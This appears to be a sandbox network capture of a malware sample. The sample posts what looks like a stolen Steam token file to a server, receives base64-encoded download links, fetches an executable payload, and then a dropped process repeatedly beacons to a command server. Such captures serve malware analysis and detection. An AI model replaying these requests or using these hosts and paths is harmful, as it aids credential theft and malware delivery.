Jun 28, 2024 22:32:10.306545973 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 22:32:10.467334032 CEST	560	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGIEGCFHCFHIDHIJECA Host: 85.28.47.4 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EBGIEGCFHCFHIDHIJECAContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------EBGIEGCFHCFHIDHIJECAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EBGIEGCFHCFHIDHIJECAContent-Disposition: form-data; name="file"------EBGIEGCFHCFHIDHIJECA--
Jun 28, 2024 22:32:11.173907042 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 22:32:11.255889893 CEST	467	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDAKFIJJKJJJKEBKJEH Host: 85.28.47.4 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------HIDAKFIJJKJJJKEBKJEHContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------HIDAKFIJJKJJJKEBKJEHContent-Disposition: form-data; name="message"jbdtaijovg------HIDAKFIJJKJJJKEBKJEH--
Jun 28, 2024 22:32:12.061383963 CEST	331	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 104 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 47 68 30 64 48 41 36 4c 79 38 33 4e 79 34 35 4d 53 34 33 4e 79 34 34 4d 53 39 6a 62 33 4e 30 4c 32 64 76 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 41 3d 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8fGh0dHA6Ly83Ny45MS43Ny44MS9jb3N0L2dvLmV4ZXwwfDB8fA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	77.91.77.81	80	6980	C:\Users\user\Desktop\1jPL5zru3u.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:12.072556973 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jun 28, 2024 22:32:12.770092964 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:12 GMT Content-Type: application/octet-stream Content-Length: 1899520 Last-Modified: Fri, 28 Jun 2024 19:26:33 GMT Connection: keep-alive ETag: "667f0e69-1cfc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 90 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELafK@K@XloKnK @.rsrc@.idata @ *@ltpqnbtv1@vtlswbytK@.taggant0K"@
Jun 28, 2024 22:32:12.770137072 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 28, 2024 22:32:12.770148039 CEST	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 28, 2024 22:32:12.770165920 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 28, 2024 22:32:12.770179033 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: KT'Z?KBse\|L
Jun 28, 2024 22:32:12.770313978 CEST	1236	IN	Data Raw: 0d 11 54 f3 81 33 8f 25 6b 6a 5b d6 15 df ba ba ea 27 3b a0 4c 01 89 ca 84 87 be a1 ca eb da 24 04 7c 3f 7a 19 67 8c ee 81 43 b6 bd e9 eb aa c9 0c 7b d3 2a c0 17 d6 fe d3 b3 a8 a9 db e3 da 16 16 93 bc a0 f5 f4 e5 78 7e 03 ac 0e 82 67 b9 f2 4a 6b Data Ascii: T3%kj[';L$\|?zgC{*x~gJk[cl:zigINzgbDdRO)g~G%a\|Y+TSOcsSk`9/Jg!IHTk3l"qsz)'s
Jun 28, 2024 22:32:12.770325899 CEST	1236	IN	Data Raw: e1 9b 52 41 59 47 2c 3f a0 e6 9a d7 6a f5 8f dc f5 86 a3 70 83 eb 0d f2 11 6b a7 5a e0 b4 58 c2 90 23 2b f5 c8 d7 f3 8f 03 9e 81 da 45 9a 8c df 6d 37 80 a1 af e6 31 d2 91 dc de fc 49 15 00 f1 3b c9 c9 fd d9 3c 04 78 89 8f cc 49 a4 07 4a 8b 4a e2 Data Ascii: RAYG,?jpkZX#+Em71I;<xIJJIBAAg\|mRqEzjcCq~{`[oR!z)u{Ed,V$M$=R7OWzq9s-{;A[F?]W%e
Jun 28, 2024 22:32:12.770335913 CEST	1236	IN	Data Raw: 74 49 dd 6c 1a 8b 56 57 06 20 fb 64 aa 25 20 7e 54 ca d7 86 bc 1a f3 66 ea 87 d3 7f 01 59 aa c1 0a 68 b7 8e db e5 cf e5 ee 7b be 55 42 d6 6f 8a d8 4b 90 67 c5 3f 48 f8 a5 23 97 e4 93 6d da b2 40 a2 55 25 71 e7 6f 6b 54 0e 3b bb a6 f4 15 eb 41 6f Data Ascii: tIlVW d% ~TfYh{UBoKg?H#m@U%qokT;AoVY#w\b<zAERDB&hupa"/z6yT('\8VzE~r{#x6v\|5S$FN'W"473tB+l
Jun 28, 2024 22:32:12.770347118 CEST	1236	IN	Data Raw: 6d e6 c9 7a ef bd 11 e1 0f db c3 51 53 1c c4 7f 4c e1 4e 87 64 59 40 01 4e b3 87 c3 8a 6a 9b ee a8 a4 65 31 7f 49 c7 09 89 f5 b1 72 aa e7 db 76 fe 75 f6 40 0c e1 7e c0 54 4d 50 30 10 22 fb 60 96 91 c4 71 af 6e 89 36 44 48 58 4b b5 e3 d5 b4 fe 38 Data Ascii: mzQSLNdY@Nje1Irvu@~TMP0"`qn6DHXK8lYT{~Z.&ub6+%_8vPAfMU a=rPN FnQ@?I25=8`H)O\|>}AE[fT"o;;?y~m
Jun 28, 2024 22:32:12.770356894 CEST	1236	IN	Data Raw: cf cb b5 c8 be 73 de 0e 6f c0 d8 56 83 e5 54 ed 4b 47 98 32 04 25 d4 52 99 95 f2 d9 af 06 16 80 25 70 41 7a 3e d5 b3 70 51 b7 98 12 38 af 5f f4 8e 0c a3 b5 8b 0a 71 62 34 0b 52 a5 65 19 9c 23 0d eb 16 7d e1 b7 05 7a f5 39 61 94 fd 2f b2 7e ab cb Data Ascii: soVTKG2%R%pAz>pQ8_qb4Re#}z9a/~p?s5p#4w$\a;Ox{>V7&)vbrrI[Yyv@pkO .=&TC=%2C.TsWnEa)<%e3@g{!eoRs}4y
Jun 28, 2024 22:32:12.775074005 CEST	1236	IN	Data Raw: 3f 6e e5 fd 4f 03 e9 21 3a 66 ef 51 61 b8 93 9c 13 ea 0e f9 d5 07 ac ac fe d5 16 20 8a 3b b3 48 18 dd df 22 96 70 8d 45 2d f2 a2 89 98 db 63 a3 9b 35 94 ab 89 9d 40 5e 80 e9 52 6b 61 c8 be 5c 4e b4 f3 b5 77 61 ea 35 3b ad 4e bc 45 d1 45 e0 85 57 Data Ascii: ?nO!:fQa ;H"pE-c5@^Rka\Nwa5;NEEWT`@n_K<YKL^AAw iB4EhtcBT~ZM{`Kz3![WL&+FfTCAW2sAYqm})AsK!~Q}l?X)s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:22.860052109 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:23.573513985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:23.574414968 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:23.795855999 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:23.913050890 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:24.617352009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:24.618144035 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:24.843300104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:24.957572937 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:25.666479111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:25.667526007 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:25.892476082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:26.005266905 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:26.704596996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:26.756498098 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:26.976834059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:27.098381996 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:27.834959984 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:27.835741043 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:28.063162088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:28.178940058 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:28.904779911 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:28.905566931 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:29.132034063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49750	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:29.238528013 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:29.933451891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:29.934520960 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
